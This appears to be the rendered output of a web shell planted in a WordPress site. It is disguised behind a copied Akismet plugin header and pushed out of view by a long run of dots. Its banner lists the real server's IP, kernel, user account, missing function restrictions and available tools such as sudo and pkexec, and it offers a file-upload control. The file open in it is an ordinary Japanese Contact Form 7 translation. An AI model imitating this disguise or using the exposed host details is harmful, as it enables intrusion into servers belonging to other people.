#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/mosrembit/data/www/mosrembit.ru/wp-content/languages/plugins/ |
Upload File : |
# Translation of Plugins - Contact Form 7 - Stable (latest release) in Japanese # This file is distributed under the same license as the Plugins - Contact Form 7 - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2025-11-30 08:12:23+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=1; plural=0;\n" "X-Generator: GlotPress/4.0.3\n" "Language: ja_JP\n" "Project-Id-Version: Plugins - Contact Form 7 - Stable (latest release)\n" #. translators: %s: URL to the Really Simple CAPTCHA plugin page #: modules/really-simple-captcha.php:36 msgid "<strong>Warning:</strong> The <a href=\"%s\">Really Simple CAPTCHA</a> plugin is not active." msgstr "<strong>警告:</strong> <a href=\"%s\">Really Simple CAPTCHA</a> プラグインが有効化されていません。" #. translators: %s: URL to support page about integration with external APIs #: admin/admin.php:586 msgid "You can expand the possibilities of your contact forms by integrating them with external services. For details, see <a href=\"%s\">Integration with external APIs</a>." msgstr "外部のサービスとのインテグレーションによりコンタクトフォームの可能性をひろげましょう。詳しくは<a href=\"%s\">外部 API とのインテグレーション</a>を参照してください。" #: admin/includes/editor.php:396 msgid "Exclude a line from output if all of its mail-tags are blank" msgstr "含まれるすべてのメールタグが空の行を出力から除外する" #. translators: 1: URL to support page about Cloudflare Turnstile, 2: Stripe #: admin/includes/welcome-panel.php:139 msgid "With help from cloud-based machine learning, anti-spam services will protect your forms (<a href=\"%1$s\">Cloudflare Turnstile</a>). Even payment services are natively supported (<a href=\"%2$s\">Stripe</a>)." msgstr "クラウドベースの機械学習を活かしたスパム対策サービスがフォームを保護します (<a href=\"%1$s\">Cloudflare Turnstile</a>)。さらには支払いのサービスだってネイティブサポートしています (<a href=\"%2$s\">Stripe</a>)。" #. translators: 1: URL to support page about Akismet, 2: Cloudflare Turnstile, #. 3: Disallowed list #: admin/includes/welcome-panel.php:64 msgid "Contact Form 7 supports spam-filtering with <a href=\"%1$s\">Akismet</a>. <a href=\"%2$s\">Cloudflare Turnstile</a> blocks annoying spambots. Plus, using <a href=\"%3$s\">disallowed list</a>, you can block messages containing specified keywords or those sent from specified IP addresses." msgstr "Contact Form 7 は <a href=\"%1$s\">Akismet</a> によるスパムフィルタリングをサポートしています。<a href=\"%2$s\">Cloudflare Turnstile</a> はイライラするスパムボットをブロックします。さらに、<a href=\"%3$s\">禁止用語リスト</a>を使うことで特定のキーワードを含んだメッセージや特定の IP アドレスから送信されたメッセージをブロックすることが可能です。" #. translators: %s: URL to support page about the additional settings editor #: admin/includes/editor.php:520 msgid "You can add customization code snippets here. For details, see <a href=\"%s\">Additional settings</a>." msgstr "ここにはカスタマイズのためのコードを追加できます。詳しくは<a href=\"%s\">その他の設定</a>を参照してください。" #. translators: %s: URL to support page about the messages editor #: admin/includes/editor.php:459 msgid "You can edit messages used in various situations here. For details, see <a href=\"%s\">Editing messages</a>." msgstr "ここではさまざまな状況で用いられるメッセージを編集できます。詳しくは<a href=\"%s\">メッセージを編集する</a>を参照してください。" #. translators: %s: URL to support page about the email template #: admin/includes/editor.php:207 msgid "You can edit the email template here. For details, see <a href=\"%s\">Setting up mail</a>." msgstr "ここではメールテンプレートを編集できます。詳しくは<a href=\"%s\">メールのセットアップ</a>を参照してください。" #. translators: %s: URL to support page about the form template #: admin/includes/editor.php:86 msgid "You can edit the form template here. For details, see <a href=\"%s\">Editing form template</a>." msgstr "ここではフォームテンプレートを編集できます。詳しくは<a href=\"%s\">フォームのテンプレートを編集する</a>を参照してください。" #: admin/includes/editor.php:37 msgid "Contact form editor tabs" msgstr "コンタクトフォームエディターのタブ" #. Author URI of the plugin #: wp-contact-form-7.php msgid "https://github.com/rocklobster-in/" msgstr "https://github.com/rocklobster-in/" #. Author of the plugin #: wp-contact-form-7.php msgid "Rock Lobster Inc." msgstr "株式会社ロックロブスター" #. translators: %s: Search query. #: admin/admin.php:467 msgid "Search results for: <strong>%s</strong>" msgstr "<strong>%s</strong> の検索結果" #: modules/turnstile/turnstile.php:179 msgid "Turnstile validation failed." msgstr "Turnstile の検証に失敗しました。" #: modules/turnstile/turnstile.php:174 msgid "Turnstile token is empty." msgstr "Turnstile トークンが空です。" #: modules/turnstile/service.php:292 msgid "Turnstile is active on this site." msgstr "Turnstile はこのサイト上で有効化されています。" #: modules/turnstile/service.php:280 msgid "Cloudflare Turnstile integration" msgstr "Cloudflare Turnstile インテグレーション" #: modules/turnstile/service.php:269 msgid "Turnstile is Cloudflare’s smart CAPTCHA alternative, which confirms web visitors are real and blocks unwanted bots without slowing down web experiences for real users." msgstr "Turnstile は Cloudflare によるスマートな CAPTCHA 代替サービスです。サイトの訪問者が本物の人間であることを検証し、正規のユーザーによるアクセスを妨げることなく厄介なボットをブロックします。" #: modules/recaptcha/service.php:262 modules/stripe/service.php:146 #: modules/turnstile/service.php:239 msgid "<strong>Error:</strong> Invalid key values." msgstr "<strong>エラー:</strong> キーの値が無効です。" #: modules/turnstile/service.php:40 msgid "Turnstile" msgstr "Turnstile" #: modules/constant-contact/constant-contact.php:136 msgid "The Constant Contact integration has been removed." msgstr "Constant Contact インテグレーションは廃止されました。" #: modules/constant-contact/constant-contact.php:113 msgid "API configuration cleared." msgstr "API 設定を消去しました。" #. translators: %s: JSON-formatted array of disallowed HTML #: includes/html-formatter.php:470 msgid "HTML Disallowance: %s" msgstr "許容されない HTML: %s" #. translators: %s: Invalid HTML tag name #: includes/html-formatter.php:426 msgid "Invalid tag name (%s) is specified." msgstr "不正なタグ名 (%s) が指定されました。" #: includes/filesystem.php:66 msgid "Could not access filesystem." msgstr "ファイルシステムにアクセスできませんでした。" #: includes/contact-form-template.php:168 msgid "Sender’s message failed to send" msgstr "メッセージの送信に失敗した" #: admin/includes/welcome-panel.php:66 admin/includes/welcome-panel.php:140 #: modules/turnstile/service.php:279 msgid "https://contactform7.com/turnstile-integration/" msgstr "https://contactform7.com/ja/turnstile-integration/" #: admin/admin.php:755 msgid "<strong>Attention reCAPTCHA users:</strong> Google attempts to make all reCAPTCHA users migrate to reCAPTCHA Enterprise, meaning Google charges you for API calls exceeding the free tier. Contact Form 7 supports <a href=\"https://contactform7.com/turnstile-integration/\">Cloudflare Turnstile</a>, and we recommend it unless you have reasons to use reCAPTCHA." msgstr "<strong>reCAPTCHA をご利用の方へ:</strong> Google はすべての reCAPTCHA ユーザーを reCAPTCHA Enterprise に移行させる計画を進めています。これは無料枠を超過した API 呼び出しについて Google から課金されるということです。Contact Form 7 は <a href=\"https://contactform7.com/ja/turnstile-integration/\">Cloudflare Turnstile</a> をサポートしており、reCAPTCHA を選択しなければならない理由がある場合を除いて Turnstile の利用を推奨しています。" #: admin/admin.php:741 msgid "Contact Form 7 has completed the <a href=\"https://contactform7.com/2025/01/08/complete-removal-of-constant-contact-integration/\">removal of the Constant Contact integration</a>. We recommend <a href=\"https://contactform7.com/sendinblue-integration/\">Brevo</a> as an alternative." msgstr "Contact Form 7 は <a href=\"https://contactform7.com/ja/2025/01/08/complete-removal-of-constant-contact-integration/\">Constant Contact インテグレーション</a>の削除を完了しました。代替として <a href=\"https://contactform7.com/ja/sendinblue-integration/\">Brevo</a> を推奨します。" #: admin/admin.php:51 admin/admin.php:52 admin/admin.php:453 #: admin/edit-contact-form.php:41 admin/edit-contact-form.php:54 msgid "Add Contact Form" msgstr "コンタクトフォームを追加" #: modules/stripe/stripe.php:181 msgid "Invalid Stripe Payment Intent ID detected." msgstr "不正な Stripe Payment Intent ID が検知されました。" #: admin/includes/welcome-panel.php:90 msgid "https://contactform7.com/contributing/" msgstr "https://contactform7.com/ja/contributing/" #. translators: %s: URL to support page about ways to contribute #: admin/includes/welcome-panel.php:89 msgid "There are several ways for you to <a href=\"%s\">contribute to the project</a>: testing, coding, translating it into your local languages, helping other users, financial donations, etc, etc. We equally welcome you regardless of the way you contribute." msgstr "<a href=\"%s\">プロジェクトに貢献する方法</a>はいくつもあります: テストに協力する、コードを書く、あなたのローカル言語に翻訳する、他のユーザーの手助けをする、経済的ドネーション、などなど。方法を問わずすべての貢献者を歓迎します。" #: admin/includes/welcome-panel.php:86 msgid "It is hard to continue to maintain this plugin without support from users like you." msgstr "このプラグインを維持し続けるためにユーザーのみなさんからの支援を必要としています。" #: modules/textarea.php:152 msgid "Generates a form-tag for a <a href=\"https://contactform7.com/text-fields/\">multi-line plain text input area</a>." msgstr "<a href=\"https://contactform7.com/ja/text-fields/\">複数行プレーンテキスト入力エリア</a>のフォームタグを作成する。" #: modules/textarea.php:151 msgid "Text area form-tag generator" msgstr "テキストエリアフォームタグジェネレーター" #: modules/textarea.php:150 msgid "Text area" msgstr "テキストエリア" #: modules/text.php:248 msgid "Generates a form-tag for a <a href=\"https://contactform7.com/text-fields/\">telephone number input field</a>." msgstr "<a href=\"https://contactform7.com/ja/text-fields/\">電話番号入力項目</a>のフォームタグを作成する。" #: modules/text.php:247 msgid "Telephone number field form-tag generator" msgstr "電話番号入力項目フォームタグジェネレーター" #: modules/text.php:246 msgid "Telephone number field" msgstr "電話番号入力項目" #: modules/text.php:242 msgid "Generates a form-tag for a <a href=\"https://contactform7.com/text-fields/\">URL input field</a>." msgstr "<a href=\"https://contactform7.com/ja/text-fields/\">URL 入力項目</a>のフォームタグを作成する。" #: modules/text.php:241 msgid "URL field form-tag generator" msgstr "URL 入力項目フォームタグジェネレーター" #: modules/text.php:240 msgid "URL field" msgstr "URL 入力項目" #: modules/text.php:236 msgid "Generates a form-tag for an <a href=\"https://contactform7.com/text-fields/\">email address input field</a>." msgstr "<a href=\"https://contactform7.com/ja/text-fields/\">メールアドレス入力項目</a>のフォームタグを作成する。" #: modules/text.php:235 msgid "Email address field form-tag generator" msgstr "メールアドレス入力項目フォームタグジェネレーター" #: modules/text.php:234 msgid "Email address field" msgstr "メールアドレス入力項目" #: modules/text.php:230 msgid "Generates a form-tag for a <a href=\"https://contactform7.com/text-fields/\">single-line plain text input field</a>." msgstr "<a href=\"https://contactform7.com/ja/text-fields/\">単一行プレーンテキスト入力項目</a>のフォームタグを作成する。" #: modules/text.php:229 msgid "Text field form-tag generator" msgstr "プレーンテキスト入力項目フォームタグジェネレーター" #: modules/submit.php:58 msgid "Generates a form-tag for a <a href=\"https://contactform7.com/submit-button/\">submit button</a>." msgstr "<a href=\"https://contactform7.com/ja/submit-button/\">送信ボタン</a>のフォームタグを作成する。" #: modules/submit.php:57 msgid "Submit button form-tag generator" msgstr "送信ボタンフォームタグジェネレーター" #: modules/select.php:239 msgid "Generates a form-tag for a <a href=\"https://contactform7.com/checkboxes-radio-buttons-and-menus/\">drop-down menu</a>." msgstr "<a href=\"https://contactform7.com/ja/checkboxes-radio-buttons-and-menus/\">ドロップダウンメニュー</a>のフォームタグを作成する。" #: modules/select.php:238 msgid "Drop-down menu form-tag generator" msgstr "ドロップダウンメニューフォームタグジェネレーター" #: modules/select.php:237 msgid "Drop-down menu" msgstr "ドロップダウンメニュー" #: modules/quiz.php:283 msgid "The capital of Brazil? | Rio" msgstr "ブラジルの首都は ? | リオ" #: modules/quiz.php:268 msgid "One pipe-separated question-answer pair (question|answer) per line." msgstr "パイプ区切りの質問と正答のセット (質問|正答) を一行につきひとつ指定する。" #: modules/quiz.php:207 msgid "Generates a form-tag for a <a href=\"https://contactform7.com/quiz/\">quiz</a>." msgstr "<a href=\"https://contactform7.com/ja/quiz/\">クイズ</a>のフォームタグを作成する。" #: modules/quiz.php:206 msgid "Quiz form-tag generator" msgstr "クイズフォームタグジェネレーター" #: modules/number.php:211 msgid "Generates a form-tag for a <a href=\"https://contactform7.com/number-fields/\">number input field</a>." msgstr "<a href=\"https://contactform7.com/ja/number-fields/\">数値入力項目</a>のフォームタグを作成する。" #: modules/number.php:210 msgid "Number field form-tag generator" msgstr "数値入力項目フォームタグジェネレーター" #: modules/file.php:255 msgid "In bytes. You can use kb and mb suffixes." msgstr "バイト単位。kb と mb の接尾辞を使うことができる。" #: modules/file.php:243 msgid "File size limit" msgstr "ファイルサイズ制限" #: modules/file.php:217 msgid "Pipe-separated file types list. You can use file extensions and MIME types." msgstr "パイプ区切りのファイル形式のリスト。ファイル拡張子と MIME タイプを使用できる。" #: modules/file.php:153 msgid "Generates a form-tag for a <a href=\"https://contactform7.com/file-uploading-and-attachment/\">file uploading field</a>." msgstr "<a href=\"https://contactform7.com/ja/file-uploading-and-attachment/\">ファイルアップロード項目</a>のフォームタグを作成する。" #: modules/file.php:152 msgid "File uploading field form-tag generator" msgstr "ファイルアップロード項目フォームタグジェネレーター" #: modules/file.php:151 msgid "File uploading field" msgstr "ファイルアップロード項目" #: modules/date.php:192 msgid "Generates a form-tag for a <a href=\"https://contactform7.com/date-field/\">date input field</a>." msgstr "<a href=\"https://contactform7.com/ja/date-field/\">日付入力項目</a>のフォームタグを作成する。" #: modules/date.php:191 msgid "Date field form-tag generator" msgstr "日付入力項目フォームタグジェネレーター" #: modules/checkbox.php:373 msgid "Generates a form-tag for a group of <a href=\"https://contactform7.com/checkboxes-radio-buttons-and-menus/\">radio buttons</a>." msgstr "<a href=\"https://contactform7.com/ja/checkboxes-radio-buttons-and-menus/\">ラジオボタン</a>のフォームタグを作成する。" #: modules/checkbox.php:372 msgid "Radio buttons form-tag generator" msgstr "ラジオボタンフォームタグジェネレーター" #: modules/checkbox.php:371 msgid "Radio buttons" msgstr "ラジオボタン" #: modules/checkbox.php:368 msgid "Generates a form-tag for a group of <a href=\"https://contactform7.com/checkboxes-radio-buttons-and-menus/\">checkboxes</a>." msgstr "<a href=\"https://contactform7.com/ja/checkboxes-radio-buttons-and-menus/\">チェックボックス</a>のフォームタグを作成する。" #: modules/checkbox.php:367 msgid "Checkboxes form-tag generator" msgstr "チェックボックスフォームタグジェネレーター" #: modules/checkbox.php:366 msgid "Checkboxes" msgstr "チェックボックス" #: modules/acceptance.php:328 msgid "Put the condition for consent here." msgstr "同意する条件をここに指定する。" #: admin/includes/tag-generator.php:270 msgid "This checkbox is optional." msgstr "このチェックボックスは任意選択です。" #: modules/acceptance.php:268 msgid "Generates a form-tag for an <a href=\"https://contactform7.com/acceptance-checkbox/\">acceptance checkbox</a>." msgstr "<a href=\"https://contactform7.com/ja/acceptance-checkbox/\">承諾確認チェックボックス</a>のフォームタグを作成する。" #: modules/acceptance.php:267 msgid "Acceptance checkbox form-tag generator" msgstr "承諾確認チェックボックスフォームタグジェネレーター" #. translators: %s: mail-tag corresponding to the form-tag #: admin/includes/tag-generator.php:620 msgid "To use the user input in the email, insert the corresponding mail-tag %s into the email template." msgstr "ユーザー入力値をメール内で使用するには、対応するメールタグ %s をメールのテンプレートに挿入します。" #: admin/includes/tag-generator.php:587 msgid "The form-tag to be inserted into the form template" msgstr "フォームテンプレートに挿入するフォームタグ" #: admin/includes/tag-generator.php:542 msgid "Use the first item as a label." msgstr "最初のアイテムをラベルとして使用する。" #: admin/includes/tag-generator.php:523 msgid "" "Option 1\n" "Option 2\n" "Option 3" msgstr "" "選択肢 1\n" "選択肢 2\n" "選択肢 3" #: admin/includes/tag-generator.php:508 msgid "One item per line." msgstr "一行につきひとつのアイテムを指定する。" #: admin/includes/tag-generator.php:498 msgid "Selectable values" msgstr "選択できる値" #: admin/includes/tag-generator.php:472 msgid "Use this text as the placeholder." msgstr "このテキストをプレースホルダーとして使用する。" #: admin/includes/tag-generator.php:376 modules/text.php:302 #: modules/textarea.php:197 msgid "Length" msgstr "長さ" #: admin/includes/tag-generator.php:322 msgid "This field expects the submitter telephone number." msgstr "この入力項目には送信者の電話番号が期待される。" #: admin/includes/tag-generator.php:319 msgid "This field expects the submitter URL." msgstr "この入力項目には送信者の URL が期待される。" #: admin/includes/tag-generator.php:311 msgid "This field expects the submitter email." msgstr "この入力項目には送信者のメールアドレスが期待される。" #: admin/includes/tag-generator.php:303 msgid "This field expects the submitter name." msgstr "この入力項目には送信者の氏名が期待される。" #: admin/includes/tag-generator.php:289 msgid "Field name" msgstr "項目名" #: admin/includes/tag-generator.php:252 msgid "This is a required field." msgstr "必須入力の項目。" #: admin/includes/tag-generator.php:137 msgid "Close" msgstr "閉じる" #: admin/includes/tag-generator.php:132 msgid "Close this dialog box" msgstr "このダイアログボックスを閉じる" #. translators: 1: version, 2: tag generator title #: admin/includes/tag-generator.php:55 msgid "Use of tag generator instances older than version 2 is deprecated. Version %1$s instance (%2$s) detected." msgstr "バージョン 2 よりも旧式のタグジェネレーターインスタンスの使用は推奨されません。バージョン %1$s のインスタンス (%2$s) を検出。" #: modules/checkbox.php:219 msgid "Too many items are selected." msgstr "選択された項目が多すぎます。" #: includes/contact-form.php:572 msgid "Invalid action URL is detected." msgstr "不正な action URL を検出しました。" #: modules/constant-contact/constant-contact.php:135 msgid "https://contactform7.com/2024/02/02/we-end-the-constant-contact-integration/" msgstr "https://contactform7.com/ja/2024/02/02/we-end-the-constant-contact-integration/" #: modules/checkbox.php:300 modules/select.php:213 msgid "Undefined value was submitted through this field." msgstr "未定義の値がこの項目を通じて送信されました。" #: includes/rest-api.php:364 msgid "There is no valid unit tag." msgstr "適正なユニットタグがありません。" #: modules/sendinblue/contact-form-properties.php:98 #: modules/sendinblue/service.php:177 msgid "Brevo integration" msgstr "Brevo インテグレーション" #. translators: 1: blog name, 2: blog URL #: includes/contact-form-template.php:111 msgid "This email is a receipt for your contact form submission on our website (%1$s %2$s) in which your email address was used. If that was not you, please ignore this message." msgstr "あなたのメールアドレスを使用して、私たちのウェブサイト (%1$s %2$s) のコンタクトフォームに送信がありましたので、その控えとして本メールを送ります。もしもその送信について心当たりのない場合は、どうぞこのメッセージを無視してください。" #. translators: 1: blog name, 2: blog URL #: includes/contact-form-template.php:77 msgid "This is a notification that a contact form was submitted on your website (%1$s %2$s)." msgstr "本メールはあなたのウェブサイト (%1$s %2$s) のコンタクトフォームに送信があったことをお知らせするものです。" #: includes/config-validator/mail.php:234 #: includes/config-validator/mail.php:324 msgid "Unsafe email config is used without sufficient protection." msgstr "安全でないメール設定が十分な防御策なく使われている。" #: includes/config-validator/validator.php:239 msgid "Configuration error is detected." msgstr "設定エラーが検出されました。" #: modules/sendinblue/service.php:189 msgid "Brevo is active on this site." msgstr "Brevo はこのサイト上で有効化されています。" #: modules/sendinblue/contact-form-properties.php:110 #: modules/sendinblue/contact-form-properties.php:405 #: modules/sendinblue/service.php:30 msgid "Brevo" msgstr "Brevo" #: includes/contact-form-functions.php:271 msgid "Contact form not found." msgstr "コンタクトフォームが見つかりません。" #: includes/contact-form-functions.php:270 includes/contact-form.php:571 #: includes/js/index.js:1 msgid "Error:" msgstr "エラー:" #: includes/block-editor/block.json msgctxt "block keyword" msgid "form" msgstr "フォーム" #: includes/block-editor/block.json msgctxt "block description" msgid "Insert a contact form you have created with Contact Form 7." msgstr "Contact Form 7 で作成したコンタクトフォームを挿入する。" #: includes/block-editor/block.json msgctxt "block title" msgid "Contact Form 7" msgstr "Contact Form 7" #: modules/select.php:84 msgid "—Please choose an option—" msgstr "—以下から選択してください—" #: modules/akismet/service.php:77 msgid "Akismet is active on this site." msgstr "Akismet はこのサイト上で有効化されています。" #: modules/akismet/service.php:54 msgid "CAPTCHAs are designed to distinguish spambots from humans, and are therefore helpless against human spammers. In contrast to CAPTCHAs, Akismet checks form submissions against the global database of spam; this means Akismet is a comprehensive solution against spam. This is why we consider Akismet to be the centerpiece of the spam prevention strategy." msgstr "CAPTCHA の役割とはスパムボットと人間を区別することです。ですから、CAPTCHA は人間のスパマーの前では何の役にも立ちません。そのような CAPTCHA とは対照的に、Akismet はフォーム送信をグローバルなスパムのデータベースに照合して検証を試みます。このように、Akismet はスパム対策の包括的なソリューションとして機能するのです。私たちがスパム防止戦略の要として Akismet を重視するのはこれが理由です。" #: modules/akismet/akismet.php:305 msgid "Learn how your data is processed." msgstr "データの処理方法の詳細はこちらをご覧ください。" #: modules/akismet/akismet.php:302 msgid "This form uses Akismet to reduce spam." msgstr "このフォームはスパムを低減するために Akismet を使っています。" #: includes/contact-form.php:645 msgid "Contact form" msgstr "コンタクトフォーム" #: includes/config-validator/form.php:81 msgid "Uploadable file size exceeds PHP’s maximum acceptable size." msgstr "アップロード可能なファイルサイズが PHP の受信可能上限値を超過している。" #: includes/config-validator/form.php:69 msgid "Colons are used in form-tag names." msgstr "フォームタグの名前にコロンが使われている。" #: modules/text.php:195 msgid "Please enter a telephone number." msgstr "電話番号を入力してください。" #: modules/text.php:188 msgid "Please enter a URL." msgstr "URL を入力してください。" #: modules/text.php:181 msgid "Please enter an email address." msgstr "メールアドレスを入力してください。" #: modules/number.php:187 msgid "This field has a too large number." msgstr "入力された数値が大きすぎます。" #: modules/number.php:182 msgid "This field has a too small number." msgstr "入力された数値が小さすぎます。" #: modules/number.php:177 msgid "Please enter a number." msgstr "数値を入力してください。" #: modules/date.php:168 msgid "This field has a too late date." msgstr "入力された日付が遅すぎます。" #: modules/date.php:163 msgid "This field has a too early date." msgstr "入力された日付が早すぎます。" #: modules/date.php:158 msgid "Please enter a date in YYYY-MM-DD format." msgstr "YYYY-MM-DD の形式で日付を入力してください。" #: includes/rest-api.php:338 msgid "The request payload format is not supported." msgstr "リクエストペイロードがサポートされるフォーマットではありません。" #. translators: 1: WordPress hook name, 2: version number #: includes/functions.php:537 msgid "Hook %1$s is <strong>deprecated</strong> since Contact Form 7 version %2$s with no alternative available." msgstr "フック %1$s の使用は Contact Form 7 バージョン %2$s から<strong>非推奨</strong>になりました。利用できる代替フックはありません。" #: includes/file.php:116 msgid "The uploaded file is too large." msgstr "アップロードされたファイルが大きすぎます。" #: includes/contact-form-template.php:199 msgid "This field has a too short input." msgstr "入力されたテキストが短すぎます。" #: includes/contact-form-template.php:194 msgid "This field has a too long input." msgstr "入力されたテキストが長すぎます。" #: includes/contact-form-template.php:189 msgid "Please fill out this field." msgstr "入力してください。" #. translators: 1: PHP function name, 2: version number, 3: alternative #. function name #: includes/functions.php:493 msgid "Function %1$s is <strong>deprecated</strong> since Contact Form 7 version %2$s! Use %3$s instead." msgstr "関数 %1$s の使用は Contact Form 7 バージョン %2$s から<strong>非推奨</strong>になっています! 代わりに %3$s を使ってください。" #: includes/integration.php:25 msgid "Spam protection" msgstr "スパム対策" #. translators: Developer debugging message. 1: PHP function name, 2: #. Explanatory message, 3: Contact Form 7 version number. #: includes/functions.php:577 msgid "Function %1$s was called incorrectly. %2$s %3$s" msgstr "関数 %1$s が不正に呼び出されました。%2$s %3$s" #. translators: 1: blog name, 2: confirmation link #: modules/sendinblue/doi.php:84 msgid "" "Hello,\n" "\n" "This is a confirmation email sent from %1$s.\n" "\n" "We have received your submission to our web form, according to which you have allowed us to add you to our contact list. But, the process has not yet been completed. To complete it, please click the following link.\n" "\n" "%2$s\n" "\n" "If it was not your intention, or if you have no idea why you received this message, please do not click on the link, and ignore this message. We will never collect or use your personal data without your clear consent.\n" "\n" "Sincerely,\n" "%1$s" msgstr "" "こんにちは。\n" "\n" "これは %1$s から送信された確認メールです。\n" "\n" "私たちの連絡先リストにあなたの情報を追加することを許可する旨のウェブフォーム送信を受理しましたが、その処理はまだ実行されておらず、実行するにはあなたからの再同意が必要です。このまま進めてよければ以下のリンクをクリックして同意の意志を示してください。\n" "\n" "%2$s\n" "\n" "もしこれがあなたの意志に反していたり、あるいはなぜこのメッセージが送られてきたのか皆目見当がつかない、などの場合はリンクをクリックしないで、メッセージを無視してください。あなたからの明確な同意が無い限りはあなたの個人データが収集、利用されることはありません。\n" "\n" "%1$s" #. translators: %s: blog name #: modules/sendinblue/doi.php:78 msgid "Opt-in confirmation from %s" msgstr "%s からのオプトイン確認" #: modules/stripe/stripe.php:380 msgid "Complete payment" msgstr "支払いを完了する" #: modules/stripe/stripe.php:365 msgid "Proceed to checkout" msgstr "購入手続きに進む" #: modules/stripe/stripe.php:249 msgid "Payment is required. Please pay by credit card." msgstr "支払いが必要です。クレジットカードでお支払いください。" #: includes/integration.php:27 msgid "Payments" msgstr "支払い" #: modules/stripe/service.php:252 msgid "Publishable Key" msgstr "公開可能キー" #: modules/stripe/service.php:225 msgid "Stripe is not available on this site. It requires an HTTPS-enabled site." msgstr "Stripe はこのサイトで利用できません。HTTPS が有効なサイトが必要です。" #: modules/stripe/service.php:196 msgid "Stripe is active on this site." msgstr "Stripe はこのサイト上で有効化されています。" #: modules/stripe/service.php:184 msgid "Stripe integration" msgstr "Stripe インテグレーション" #: modules/stripe/service.php:173 msgid "Stripe is a simple and powerful way to accept payments online. Stripe has no setup fees, no monthly fees, and no hidden costs. Millions of businesses rely on Stripe’s software tools to accept payments securely and expand globally." msgstr "Stripe はオンラインでの支払いを受ける簡単かつ強力な手段です。Stripe にはセットアップ料金、月額利用料、その他の隠れたコストが一切かかりません。何百万もの企業が Stripe のソフトウェアツールを使って安全に支払いを受け取り、グローバルに展開しています。" #. translators: 1: first name, 2: last name #: modules/sendinblue/sendinblue.php:114 msgctxt "personal name" msgid "%1$s %2$s" msgstr "%1$s %2$s" #: includes/rest-api.php:517 msgid "Unique identifier for the contact form." msgstr "コンタクトフォームの一意識別子。" #: includes/config-validator/form.php:57 msgid "Dots are used in form-tag names." msgstr "フォームタグの名前にドット記号が使われている。" #: admin/includes/welcome-panel.php:276 msgid "Show welcome panel" msgstr "ウェルカムパネルを表示" #: admin/includes/welcome-panel.php:273 msgid "Welcome panel" msgstr "ウェルカムパネル" #: modules/stripe/service.php:38 msgid "Stripe" msgstr "Stripe" #: admin/includes/welcome-panel.php:141 modules/stripe/service.php:183 msgid "https://contactform7.com/stripe-integration/" msgstr "https://contactform7.com/ja/stripe-integration/" #. translators: %s: URL to support page about the Brevo integration #: admin/includes/welcome-panel.php:134 msgid "Your contact forms will become more powerful and versatile by integrating them with external APIs. With CRM and email marketing services, you can build your own contact lists (<a 